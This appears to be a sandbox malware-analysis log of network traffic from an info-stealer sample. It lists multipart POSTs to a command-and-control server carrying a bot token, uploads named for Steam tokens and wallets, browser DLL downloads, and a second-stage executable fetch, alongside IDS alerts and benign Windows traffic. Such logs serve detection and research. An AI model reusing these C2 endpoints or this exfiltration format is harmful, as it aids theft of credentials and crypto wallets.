Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDGHIJDGCBAAAAAFIJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="file"------FHJDGHIJDGCBAAAAAFIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHCHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDHJKKFBAEGDGDGCBKECHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 2d 2d 0d 0a Data Ascii: ------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="file"------JDHJKKFBAEGDGDGCBKEC--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGHIDBKJEGIECBGIEHCHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAKKECAEGDGCBFIJEGHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="message"wallets------GCAKKECAEGDGCBFIJEGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJEGCAEGIIIDHIEBKEBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 2d 2d 0d 0a Data Ascii: ------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="message"files------GHJEGCAEGIIIDHIEBKEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCBGIIJKEBFCBGDBAEBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 2d 2d 0d 0a Data Ascii: ------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="file"------FHCBGIIJKEBFCBGDBAEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 2d 2d 0d 0a Data Ascii: ------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="message"ybncbhylepme------DHDAFBFCFHIDAKFIIEBA--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJEGCAAECBFIEBGHJDGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 43 41 41 45 43 42 46 49 45 42 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 43 41 41 45 43 42 46 49 45 42 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 43 41 41 45 43 42 46 49 45 42 47 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------HJJEGCAAECBFIEBGHJDGContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------HJJEGCAAECBFIEBGHJDGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HJJEGCAAECBFIEBGHJDG--

Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 23.96.180.189 23.96.180.189

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49765 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49889 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=25ACFbnVffSv6Ou&MD=+cM3Bzhf HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
